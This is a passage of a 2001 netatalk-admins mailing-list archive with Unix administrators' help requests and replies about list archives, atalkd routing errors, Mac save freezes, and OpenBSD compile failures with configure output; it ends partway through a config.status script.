Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA07624
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 21 Mar 2001 11:22:04 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA14748
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 21 Mar 2001 11:22:03 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA14735
	for netatalk.administrators-members@umich.edu; Wed, 21 Mar 2001 11:22:03 -0500 (EST)
Received: from cerberus.picdar.co.uk ([193.115.138.155])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA14652
	for <netatalk-admins@umich.edu>; Wed, 21 Mar 2001 11:21:59 -0500 (EST)
Received: from [141.89.179.49] (InternalAcc [193.115.138.137])
	by cerberus.picdar.co.uk (8.9.3+Sun/8.9.3) with ESMTP id QAA12447;
	Wed, 21 Mar 2001 16:21:15 GMT
Message-Id: <200103211621.QAA12447@cerberus.picdar.co.uk>
X-Mailer: Microsoft Outlook Express Macintosh Edition - 4.5 (0410)
Date: Wed, 21 Mar 2001 16:21:09 +0000
Subject: Re: a newbie question
From: "Philip J Spence" <pspence@picdar.co.uk>
To: Mac Conin <mconin@euc.de>, netatalk-admins@umich.edu
Mime-version: 1.0
X-Priority: 3
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

> Hi ,
> 
> where can I find an archive of these emails?
> 
> 
> (I know - it's not a tricky question, but...)
>
http://www.umich.edu/~rsug/netatalk/archive/

From netatalk.administrators-errors@umich.edu  Wed Mar 21 11:29:01 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA07818
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 21 Mar 2001 11:29:01 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA03413
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 21 Mar 2001 11:29:01 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA03380
	for netatalk.administrators-members@umich.edu; Wed, 21 Mar 2001 11:29:00 -0500 (EST)
Received: from garnet.tc.umn.edu (garnet.tc.umn.edu [160.94.218.249])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA03337
	for <netatalk-admins@umich.edu>; Wed, 21 Mar 2001 11:28:58 -0500 (EST)
Received: from localhost by garnet.tc.umn.edu with ESMTP for netatalk-admins@umich.edu; Wed, 21 Mar 2001 10:28:57 -0600
Date: Wed, 21 Mar 2001 10:28:57 -0600 (CST)
From: Karen A Swanberg <swanberg@tc.umn.edu>
To: netatalk-admins@umich.edu
Subject: Re: a newbie question
In-Reply-To: <3AB8D168.76F38568@euc.de>
Message-Id: <Pine.SOL.4.20.0103211026310.22741-100000@garnet.tc.umn.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


http://endofdays.rs.itd.umich.edu/~tombeau/netatalk/mail.html
ftp://terminator.rs.itd.umich.edy/unix/netatalk

and for threaded:

http://www.umich.edu/~rsug/netatalk/archive/admin/

-Karen

on 03/21/01, Mac Conin wisely declared:

> Hi ,
> 
> where can I find an archive of these emails?
> 
> 
> (I know - it's not a tricky question, but...)
> 
> 
> -- 
> --schnipp-- 
> 
> best regards
> -----------------------------------------------------------
> Mac Conin                        EUC Online Service GmbH
> mconin@euc.de
> http://www.euc.de
> 
> 


*                                                     *
Karen Swanberg              |                         
Network Admin.              | Error: Sector not found-- 
Dept. of Geology/Geophysics |search behind couch? (Y/N)
206 Pillsbury Hall          |                         
310 Pillsbury Ave. SE       |                         
University of Mn            |  Enter any 11-digit prime
Minneapolis, MN 55455       |     number to continue...
(612) 624-6541              |                         
*                                                     *


From netatalk.administrators-errors@umich.edu  Wed Mar 21 11:43:37 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA08235
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 21 Mar 2001 11:43:36 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA09559
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 21 Mar 2001 11:43:29 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA09529
	for netatalk.administrators-members@umich.edu; Wed, 21 Mar 2001 11:43:28 -0500 (EST)
Received: from artemis.le.ac.uk (artemis.le.ac.uk [143.210.16.126])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA09487
	for <netatalk-admins@umich.edu>; Wed, 21 Mar 2001 11:43:26 -0500 (EST)
Received: from ithaca.mcs.le.ac.uk ([143.210.72.11])
	by artemis.le.ac.uk with esmtp (Exim 3.16 #1)
	id 14flht-0003XP-00
	for netatalk-admins@umich.edu; Wed, 21 Mar 2001 16:43:33 +0000
Received: from pc54 (pc54 [143.210.72.46])
	by ithaca.mcs.le.ac.uk (8.9.3+Sun/8.9.3) with SMTP id QAA17357
	for <netatalk-admins@umich.edu>; Wed, 21 Mar 2001 16:43:32 GMT
Message-Id: <200103211643.QAA17357@ithaca.mcs.le.ac.uk>
Date: Wed, 21 Mar 2001 16:43:32 +0000 (GMT)
From: "J. A. Landamore" <jal@mcs.le.ac.uk>
Reply-To: "J. A. Landamore" <jal@mcs.le.ac.uk>
Subject: File exists error when starting atalkd
To: netatalk-admins@umich.edu
X-Mailer: dtmail 1.3.0 @(#)CDE Version 1.4 SunOS 5.8 i86pc i386 
Content-Type: text
X-Sun-Text-Type: ascii

I have managed to get netatalk 1.5pre5 built under 64bit SPARC Solaris 7.  However when I try to start atalkd 
I get

atalkd[16656]: zip_packet: can't route 7200.152 to loopback: File exists
atalkd[16656]: ap->ap_packet: File exists

My atalkd.conf file is one line long

hme1 -phase 2 -net 7200-7209 -addr 7200.152 -zone "Computer Centre" -zone "Charles Wilson 3rd Floor" -zone 
"Mathematics & Computer Science"


Any one got any clues?

Thanks

John Landamore

From netatalk.administrators-errors@umich.edu  Wed Mar 21 12:15:55 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA09307
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 21 Mar 2001 12:15:55 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA29748
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 21 Mar 2001 12:15:47 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA29673
	for netatalk.administrators-members@umich.edu; Wed, 21 Mar 2001 12:15:44 -0500 (EST)
Received: from jump.tangro.de (cray-ymp.tangro.de [193.155.17.164])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA29617
	for <netatalk-admins@umich.edu>; Wed, 21 Mar 2001 12:15:41 -0500 (EST)
Received: from [193.155.17.160] (whizz.tangro.de [193.155.17.160])
	by jump.tangro.de (8.11.2/8.11.2) with ESMTP id f2LHFiH16421;
	Wed, 21 Mar 2001 18:15:44 +0100 (CET)
Mime-Version: 1.0
X-Sender: hf@mail.tangro.de (Unverified)
Message-Id: <f05100201b6de911e3b0a@[193.155.17.160]>
In-Reply-To: <Pine.SOL.4.20.0103210950080.22741-100000@garnet.tc.umn.edu>
References: <Pine.SOL.4.20.0103210950080.22741-100000@garnet.tc.umn.edu>
Date: Wed, 21 Mar 2001 18:15:24 +0100
To: Karen A Swanberg <swanberg@tc.umn.edu>
From: Hauke Fath <hf@tangro.de>
Subject: Re: rand2num passwords OpenBSD 2.8
Cc: netatalk-admins@umich.edu
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 10:00 Uhr -0600 21.03.2001, Karen A Swanberg wrote:
>It is appropriate to this list to post compilation problems, or should
>those just be sent to the netatalk@umich.edu address?

Depending on the sources version, either here (for pre-Sourceforge), 
or on the Sourceforge netatalk-devel list. AFAIK, the last Netatalk 
version that umich.edu released was 1.4b2.

>  > afppasswd -c
>
>I was under the impression that this is only new to the 1.499 and 1.5pre
>trees? I have been unable to compile anything above 1.4b2+asun2.1.3 on my
>system. I dropped the umich folks a note about it. I'm on
>1.4b2+asun2.1.3/OpenBSD 2.8.

Strange... I have built asun-2.1.4pre3[5789] on NetBSD 1.4.x without 
problems. What compile errors do you see?

	hauke

-- 
Hauke Fath                        tangro software components GmbH
                                         D-69115 Heidelberg
hf@tangro.de                       Ruf +49-6221-13336-0, Fax -21

From netatalk.administrators-errors@umich.edu  Wed Mar 21 13:23:51 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA10551
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 21 Mar 2001 13:23:50 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA11165
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 21 Mar 2001 13:23:50 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA11151
	for netatalk.administrators-members@umich.edu; Wed, 21 Mar 2001 13:23:49 -0500 (EST)
Received: from mail.arcor-ip.de (mail-ffm-p.arcor-ip.de [145.253.2.10])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA10974
	for <netatalk-admins@umich.edu>; Wed, 21 Mar 2001 13:23:42 -0500 (EST)
Received: from [192.168.1.20] (213.23.36.48) by mail.arcor-ip.de; 21 Mar 2001 19:23:38 +0100
Mime-Version: 1.0
X-Sender: jgrantha@mail.hannover.sgh-net.de
Message-Id: <p05010403b6de9fc91829@[192.168.1.20]>
Date: Wed, 21 Mar 2001 19:21:38 +0100
To: netatalk-admins@umich.edu
From: John L Grantham <john@grantham.com>
Subject: Help: Still probs with netatalk-1.4b2+asun2.1.3-7
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Hi all,

OK, I still have problems with netatalk-1.4b2+asun2.1.3-7 on a 
LinuxPPC box. When I try to copy files to the server from a Mac 
running OS 9.1 via the Finder, the copy works fine; but if I try to 
save a file from most any program (Photoshop, Freehand, etc.), the 
connection freezes and the Mac locks up for about 30 seconds or so, 
with the server eventually closing the connection (thus freeing the 
Mac up again).

If I try copying from the server, it randomly closes the connection 
as well -- usually after about five minutes or so, sometimes more, 
sometimes less. It doesn't make any difference where I copy from or 
to.

I checked older messages, and this seems to be a permissions problem 
with .Parent and .AppleDouble, so I tried this:

find /mount/point -type d -exec chmod g+s {} \;
find /mount/point -name ".Parent" -exec chmod 770 {} \;
find /mount/point -name ".Apple*" -exec chmod 770 {} \;
find /mount/point -name ".Apple*" -exec chmod g+s {} \;

It still doesn't work.

When I try saving to the server, this happens in /var/log/messages:

Mar 21 19:11:02 localhost afpd[28251]: dsi_stream_read(0): Connection 
reset by peer
Mar 21 19:11:02 localhost last message repeated 8 times
Mar 21 19:11:02 localhost afpd[1763]: server_child[1] 28255 done
Mar 21 19:11:02 localhost afpd[28251]: dsi_stream_read(0): Connection 
reset by peer
Mar 21 19:11:19 localhost last message repeated 31164 times
Mar 21 19:11:19 localhost afpd[1763]: shutting down on signal 15
Mar 21 19:11:19 localhost afpd[28251]: dsi_stream_read(0): Connection 
reset by peer
Mar 21 19:11:20 localhost last message repeated 151 times
Mar 21 19:11:20 localhost atalkd[1751]: done
Mar 21 19:11:20 localhost afpd[28251]: dsi_stream_read(0): Connection 
reset by peer

Then afpd starts eating up CPU cycles like crazy, and I'm forced to 
stop atalkd and kill afpd, then restart atalkd.

This is my setup in afpd.conf:

"Hobbit-Hole" -noguest -address 192.168.1.10

Can someone tell me what the correct permissions are? I don't seem to 
find any info on the Web about this.

Any other hints?

Thanks,

John
-- 

John Grantham	| Dipl.-Designer (FH)
		| Homepage       http://design.macnews.de/
		| Linux for PPC  http://www.linuxppc.org/
Web Designer	| AGD Member     http://www.agd.de/

From netatalk.administrators-errors@umich.edu  Wed Mar 21 14:31:10 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA12666
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 21 Mar 2001 14:31:09 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA27649
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 21 Mar 2001 14:31:01 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA27610
	for netatalk.administrators-members@umich.edu; Wed, 21 Mar 2001 14:31:00 -0500 (EST)
Received: from garnet.tc.umn.edu (garnet.tc.umn.edu [160.94.218.249])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA27530
	for <netatalk-admins@umich.edu>; Wed, 21 Mar 2001 14:30:58 -0500 (EST)
Received: from localhost by garnet.tc.umn.edu with ESMTP; Wed, 21 Mar 2001 13:31:04 -0600
Date: Wed, 21 Mar 2001 13:31:04 -0600 (CST)
From: Karen A Swanberg <swanberg@tc.umn.edu>
To: netatalk-admins@umich.edu
cc: netatalk-devel@lists.sourceforge.net
Subject: O-BSD 2.8 1.5pre5 compile errors (was rand2num)
Message-Id: <Pine.SOL.4.20.0103211313440.22741-100000@garnet.tc.umn.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


This contains the message I mistakenly sent to umich, which should have
gone to sourceforge. It's quite long, as it contains the output of my
compile, my compile.log and compile.status, as well as the errors
encountered during the make.

Basically, the 
./configure --with-tcp-wrappers --with-ssl-dirs=/usr

command works great, but when I make, I get errors I can't track down. The
makefiles it references don't seem to have useful information on the lines
the errors list. It's all below.

on 03/21/01, Hauke Fath wisely declared:

> >It is appropriate to this list to post compilation problems, or should
> >those just be sent to the netatalk@umich.edu address?

> Depending on the sources version, either here (for pre-Sourceforge),
> or on the Sourceforge netatalk-devel list. AFAIK, the last Netatalk
> version that umich.edu released was 1.4b2.
...
> >I have been unable to compile anything above 1.4b2+asun2.1.3 on my
> >system. I dropped the umich folks a note about it. I'm on
> >1.4b2+asun2.1.3/OpenBSD 2.8.

> Strange... I have built asun-2.1.4pre3[5789] on NetBSD 1.4.x without
> problems. What compile errors do you see?

>       hauke

---------- Forwarded message ----------
Date: Tue, 20 Mar 2001 17:00:15 -0600 (CST)
From: Karen A Swanberg <swanberg@tc.umn.edu>
To: netatalk@umich.edu
Subject: OpenBSD 2.8 1.5pre5 i386 compile errors

Greetings, I think this is a bug. I've included everything I think should
be useful, but I'd be happy to provide more. If this is hopelessly basic,
I apologize.

SUBJECT: compile errors on 1.5pre5 on OpenBSD 2.8 during make
install. Using 1.5pre5 in order to utilize DHX, my ./configure was:
./configure --with-tcp-wrappers --with-ssl-dirs=/usr

The compile ran fine, but the 'make' then died with the error:

#make
make  all-recursive
Making all in libatalk

Making install in libatalk 
"Makefile", line 317: Need an operator 
Fatal errors encountered -- cannot continue
*** Error code 1

Stop in /home/swanberg/netatalk/netatalk-1.5pre5 (line 178 of Makefile).
*** Error code 1

Stop in /home/swanberg/netatalk/netatalk-1.5pre5 (line 311 of Makefile).


Line 178 of libatalk/Makefile is:
.s.lo:
        $(LIBTOOL) --mode=compile $(COMPILE) -c $<
#178 is this blank line#
.S.lo:
        $(LIBTOOL) --mode=compile $(COMPILE) -c $<

Line 311 of the libatalk/Makefile is:

(cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) top_distdir=../$(top_distdir)
distdir=../$(distdir)/$$subdir distdir) \
              || exit 1; \      #this is line 311#
          fi; \
        done

DEPS_MAGIC := $(shell mkdir .deps > /dev/null 2>&1 || :)


ENVIRONMENT:

I have these packages: 
ssl-2.7-USA 
libtool-1.3.5 
automake-1.4
autoconf-2.13

Running OpenBSD 2.8 on a Dell PowerEdge 1400, pretty basic i386 install.
Samba is also running, along with Amanda. Nothing else.

What other info do you need here? Hardware info?

DESCRIPTION:

The configure runs fine, the 'make' dies, as does 'make check' with the
error mentioned above. I can't get beyond it.

Here are my logs:

output for ./configure --with-tcp-wrappers --with-ssl-dirs=/usr

loading cache ./config.cache
checking host system type... i386-unknown-openbsd2.8
checking target system type... i386-unknown-openbsd2.8
checking build system type... i386-unknown-openbsd2.8
checking for a BSD compatible install... (cached) /usr/bin/install -c
checking whether build environment is sane... yes
checking whether make sets ${MAKE}... (cached) yes
checking for working aclocal... found
checking for working autoconf... found
checking for working automake... found
checking for working autoheader... found
checking for working makeinfo... found
checking for ranlib... (cached) ranlib
checking for gcc... (cached) gcc
checking whether the C compiler (gcc  ) works... yes
checking whether the C compiler (gcc  ) is a cross-compiler... no
checking whether we are using GNU C... (cached) yes
checking whether gcc accepts -g... (cached) yes
checking for ld used by GCC... (cached) /usr/bin/ld
checking if the linker (/usr/bin/ld) is GNU ld... (cached) no
checking for BSD-compatible nm... (cached) /usr/bin/nm -p
checking whether ln -s works... (cached) yes
checking for object suffix... o
checking for executable suffix... no
checking for gcc option to produce PIC... -fPIC
checking if gcc PIC flag -fPIC works... yes
checking if gcc supports -c -o file.o... yes
checking if gcc supports -c -o file.lo... yes
checking if gcc supports -fno-rtti -fno-exceptions ... yes
checking if gcc static flag -static works... -static
checking if the linker (/usr/bin/ld) is GNU ld... no
checking whether the linker (/usr/bin/ld) supports shared libraries... yes
checking command to parse /usr/bin/nm -p output... ok
checking how to hardcode library paths into programs... immediate
checking for /usr/bin/ld option to reload object files... -r
checking dynamic linker characteristics... openbsd2.8 ld.so
checking if libtool supports shared libraries... yes
checking whether to build shared libraries... yes
checking whether to build static libraries... yes
checking for objdir... .libs
creating libtool
loading cache ./config.cache
checking for gawk... (cached) nawk
checking for gcc... (cached) gcc
checking whether the C compiler (gcc -g -O2 ) works... yes
checking whether the C compiler (gcc -g -O2 ) is a cross-compiler... no
checking whether we are using GNU C... (cached) yes
checking whether gcc accepts -g... (cached) yes
checking for a BSD compatible install... /usr/bin/install -c
checking whether ln -s works... (cached) yes
checking whether make sets ${MAKE}... (cached) yes
checking for object suffix... o
checking for executable suffix... no
checking for gcc option to produce PIC... -fPIC
checking if gcc PIC flag -fPIC works... yes
checking if gcc supports -c -o file.o... yes
checking if gcc supports -c -o file.lo... yes
checking if gcc supports -fno-rtti -fno-exceptions ... yes
checking if gcc static flag -static works... -static
checking if the linker (/usr/bin/ld) is GNU ld... no
checking whether the linker (/usr/bin/ld) supports shared libraries... yes
checking command to parse /usr/bin/nm -p output... ok
checking how to hardcode library paths into programs... immediate
checking for /usr/bin/ld option to reload object files... -r
checking dynamic linker characteristics... openbsd2.8 ld.so
checking if libtool supports shared libraries... yes
checking whether to build shared libraries... yes
checking whether to build static libraries... yes
checking for objdir... .libs
creating libtool
loading cache ./config.cache
checking for main in -labs... (cached) no
checking for main in -laudit... (cached) no
checking for main in -lauth... (cached) no
checking for main in -lcmd... (cached) no
checking for main in -lcom_err... (cached) yes
checking for main in -lcrypt... (cached) no
checking for main in -ld... (cached) no
checking for main in -ldb... (cached) no
checking for main in -ldl... (cached) no
checking for main in -lkauth... (cached) no
checking for main in -lkrb... (cached) yes
checking for main in -llwp... (cached) no
checking for main in -ln... (cached) no
checking for main in -lnsl... (cached) no
checking for main in -lprot... (cached) no
checking for main in -lresolv... (cached) yes
checking for main in -lrpcsvc... (cached) yes
checking for main in -lrx... (cached) no
checking for main in -lrxkad... (cached) no
checking for main in -lsocket... (cached) no
checking for main in -lsys... (cached) no
checking for main in -lubik... (cached) no
checking for access... (cached) yes
checking for dirent.h that defines DIR... (cached) yes
checking for opendir in -ldir... (cached) no
checking how to run the C preprocessor... (cached) gcc -E
checking for ANSI C header files... (cached) yes
checking for sys/wait.h that is POSIX.1 compatible... (cached) yes
checking for fcntl.h... (cached) yes
checking for limits.h... (cached) yes
checking for stdint.h... (cached) no
checking for strings.h... (cached) yes
checking for sys/fcntl.h... (cached) yes
checking for sys/file.h... (cached) yes
checking for sys/ioctl.h... (cached) yes
checking for sys/time.h... (cached) yes
checking for syslog.h... (cached) yes
checking for unistd.h... (cached) yes
checking for termios.h... (cached) yes
checking for sys/termios.h... (cached) yes
checking for netdb.h... (cached) yes
checking for sgtty.h... (cached) yes
checking for sys/cdefs.h... (cached) yes
checking for working const... (cached) yes
checking for uid_t in sys/types.h... (cached) yes
checking for inline... (cached) inline
checking for mode_t... (cached) yes
checking for off_t... (cached) yes
checking for pid_t... (cached) yes
checking for size_t... (cached) yes
checking for st_rdev in struct stat... (cached) yes
checking whether time.h and sys/time.h may both be included... (cached) yes
checking whether struct tm is in sys/time.h or time.h... (cached) time.h
checking type of array argument to getgroups... (cached) gid_t
checking whether gcc needs -traditional... (cached) no
checking for 8-bit clean memcmp... (cached) yes
checking whether sys/types.h defines makedev... (cached) yes
checking for unistd.h... (cached) yes
checking for getpagesize... (cached) yes
checking for working mmap... (cached) yes
checking return type of signal handlers... (cached) void
checking whether utime accepts a null argument... (cached) yes
checking for wait3 that fills in rusage... (cached) yes
checking for getcwd... (cached) yes
checking for gethostname... (cached) yes
checking for gettimeofday... (cached) yes
checking for getusershell... (cached) yes
checking for mkdir... (cached) yes
checking for rmdir... (cached) yes
checking for select... (cached) yes
checking for socket... (cached) yes
checking for strdup... (cached) yes
checking for strstr... (cached) yes
checking for strtoul... (cached) yes
checking for setpgrp... (cached) yes
checking whether setpgrp takes no argument... (cached) no
checking for pam_start in -lpam... (cached) no
checking for hosts_access in -lwrap... (cached) yes
enabling TCP wrappers support
setting configuration files location to /etc/atalk
 * OpenBSD specific configuration
checking for main in -lcrypto... (cached) yes
checking for main in -ldes... (cached) yes
Found ssl and enabling RANDNUM and DHX support /usr
creating ./config.status
creating Makefile
creating bin/Makefile
creating bin/adv1tov2/Makefile
creating bin/aecho/Makefile
creating bin/afile/Makefile
creating bin/afppasswd/Makefile
creating bin/getzones/Makefile
creating bin/megatron/Makefile
creating bin/nbp/Makefile
creating bin/pap/Makefile
creating bin/psorder/Makefile
creating config/Makefile
creating contrib/Makefile
creating contrib/nu/Makefile
creating contrib/printing/Makefile
creating contrib/shell_utils/Makefile
creating contrib/timelord/Makefile
creating distrib/Makefile
creating distrib/config/Makefile
creating distrib/config/netatalk-config
creating distrib/initscripts/Makefile
creating distrib/m4/Makefile
creating etc/Makefile
creating etc/afpd/Makefile
creating etc/afpd/nls/Makefile
creating etc/atalkd/Makefile
creating etc/uams/Makefile
creating etc/uams/uams_krb4/Makefile
creating etc/papd/Makefile
creating etc/psf/Makefile
creating include/Makefile
creating include/atalk/Makefile
creating libatalk/Makefile
creating libatalk/adouble/Makefile
creating libatalk/asp/Makefile
creating libatalk/atp/Makefile
creating libatalk/compat/Makefile
creating libatalk/dsi/Makefile
creating libatalk/nbp/Makefile
creating libatalk/netddp/Makefile
creating libatalk/util/Makefile
creating man/Makefile
creating man/man1/Makefile
creating man/man3/Makefile
creating man/man4/Makefile
creating man/man5/Makefile
creating man/man8/Makefile
creating sys/Makefile
creating sys/netatalk/Makefile
creating config.h
config.h is unchanged


config.status:

#! /bin/sh
# Generated automatically by configure.
# Run this file to recreate the current configuration.
# This directory was configured as follows,
# on host epidote:
#
# ./configure  --with-tcp-wrappers --with-ssl-dirs=/usr
#
# Compiler output produced by configure, useful for debugging
# configure, is in ./config.log if it exists.

ac_cs_usage="Usage: ./config.status [--recheck] [--version] [--help]"
for ac_option
do
  case "$ac_option" in
  -recheck | --recheck | --rechec | --reche | --rech | --rec | --re | --r)
    echo "running ${CONFIG_SHELL-/bin/sh} ./configure  --with-tcp-wrappers --with-ssl-dirs=/usr --no-create --no-recursion"
    exec ${CONFIG_SHELL-/bin/sh} ./configure  --with-tcp-wrappers --with-ssl-dirs=/usr --no-create --no-recursion ;;
  -version | --version | --versio | --versi | --vers | --ver | --ve | --v)
    echo "./config.status generated by autoconf version 2.13"
    exit 0 ;;
  -help | --help | --hel | --he | --h)
    echo "$ac_cs_usage"; exit 0 ;;
  *) echo "$ac_cs_usage"; exit 1 ;;
  esac
done

ac_given_srcdir=.
ac_given_INSTALL="/usr/bin/install -c"

trap 'rm -fr Makefile
	bin/Makefile
	bin/adv1tov2/Makefile
	bin/aecho/Makefile
	bin/afile/Makefile
	bin/afppasswd/Makefile
	bin/getzones/Makefile
	bin/megatron/Makefile
	bin/nbp/Makefile
	bin/pap/Makefile
	bin/psorder/Makefile
	config/Makefile
	contrib/Makefile
	contrib/nu/Makefile
	contrib/printing/Makefile
	contrib/shell_utils/Makefile
	contrib/timelord/Makefile
	distrib/Makefile
	distrib/config/Makefile
	distrib/config/netatalk-config
	distrib/initscripts/Makefile
	distrib/m4/Makefile
	etc/Makefile
	etc/afpd/Makefile
	etc/afpd/nls/Makefile
	etc/atalkd/Makefile
	etc/uams/Makefile
	etc/uams/uams_krb4/Makefile
	etc/papd/Makefile
	etc/psf/Makefile
	include/Makefile
	include/atalk/Makefile
	libatalk/Makefile
	libatalk/adouble/Makefile
	libatalk/asp/Makefile
	libatalk/atp/Makefile
	libatalk/compat/Makefile
	libatalk/dsi/Makefile
	libatalk/nbp/Makefile
	libatalk/netddp/Makefile
	libatalk/util/Makefile
	man/Makefile
	man/man1/Makefile
	man/man3/Makefile
	man/man4/Makefile
	man/man5/Makefile
	man/man8/Makefile
	sys/Makefile
	sys/netatalk/Makefile
	 config.h conftest*; exit 1' 1 2 15

# Protect against being on the right side of a sed subst in config.status.
sed 's/%@/@@/; s/@%/@@/; s/%g$/@g/; /@g$/s/[\\&%]/\\&/g;
 s/@@/%@/; s/@@/@%/; s/@g$/%g/' > conftest.subs <<\CEOF
/^[ 	]*VPATH[ 	]*=[^:]*$/d

s%@SHELL@%/bin/sh%g
s%@CFLAGS@%-g -O2 -I$(top_srcdir)/include -I$(top_srcdir)/sys -I/usr/include -I/usr/include/openssl%g
s%@CPPFLAGS@%%g
s%@CXXFLAGS@%%g
s%@FFLAGS@%%g
s%@DEFS@%-DHAVE_CONFIG_H%g
s%@LDFLAGS@% -L$(top_srcdir)/libatalk/ -L/usr/lib -L/usr%g
s%@LIBS@%-ldes -lcrypto -lrpcsvc -lresolv -lkrb -lcom_err  -lwrap%g
s%@exec_prefix@%${prefix}%g
s%@prefix@%/usr%g
s%@program_transform_name@%s,x,x,%g
s%@bindir@%${exec_prefix}/bin%g
s%@sbindir@%${exec_prefix}/sbin%g
s%@libexecdir@%${exec_prefix}/libexec%g
s%@datadir@%${prefix}/share%g
s%@sysconfdir@%${prefix}/etc%g
s%@sharedstatedir@%${prefix}/com%g
s%@localstatedir@%${prefix}/var%g
s%@libdir@%${exec_prefix}/lib%g
s%@includedir@%${prefix}/include%g
s%@oldincludedir@%/usr/include%g
s%@infodir@%${prefix}/info%g
s%@mandir@%${prefix}/man%g
s%@NETATALK_VERSION@%1.5pre5%g
s%@host@%i386-unknown-openbsd2.8%g
s%@host_alias@%i386-unknown-openbsd2.8%g
s%@host_cpu@%i386%g
s%@host_vendor@%unknown%g
s%@host_os@%openbsd2.8%g
s%@target@%i386-unknown-openbsd2.8%g
s%@target_alias@%i386-unknown-openbsd2.8%g
s%@target_cpu@%i386%g
s%@target_vendor@%unknown%g
s%@target_os@%openbsd2.8%g
s%@build@%i386-unknown-openbsd2.8%g
s%@build_alias@%i386-unknown-openbsd2.8%g
s%@build_cpu@%i386%g
s%@build_vendor@%unknown%g
s%@build_os@%openbsd2.8%g
s%@INSTALL_PROGRAM@%${INSTALL}%g
s%@INSTALL_SCRIPT@%${INSTALL_PROGRAM}%g
s%@INSTALL_DATA@%${INSTALL} -m 644%g
s%@PACKAGE@%netatalk%g
s%@VERSION@%1.5pre5%g
s%@ACLOCAL@%aclocal%g
s%@AUTOCONF@%autoconf%g
s%@AUTOMAKE@%automake%g
s%@AUTOHEADER@%autoheader%g
s%@MAKEINFO@%makeinfo%g
s%@SET_MAKE@%%g
s%@RANLIB@%ranlib%g
s%@CC@%gcc%g
s%@LN_S@%ln -s%g
s%@LIBTOOL@%$(SHELL) $(top_builddir)/libtool%g
s%@AWK@%nawk%g
s%@CPP@%gcc -E%g
s%@LIBOBJS@%%g
s%@BUILD_PAM_TRUE@%#%g
s%@BUILD_PAM_FALSE@%%g
s%@CONFIG_DIR@%/etc/atalk%g
s%@UAMS_PATH@%/etc/atalk/uams%g
s%@LDSHAREDFLAGS@%%g
s%@SOLARIS_MODULE_TRUE@%#%g
s%@SOLARIS_MODULE_FALSE@%%g
s%@USE_DHX_TRUE@%%g
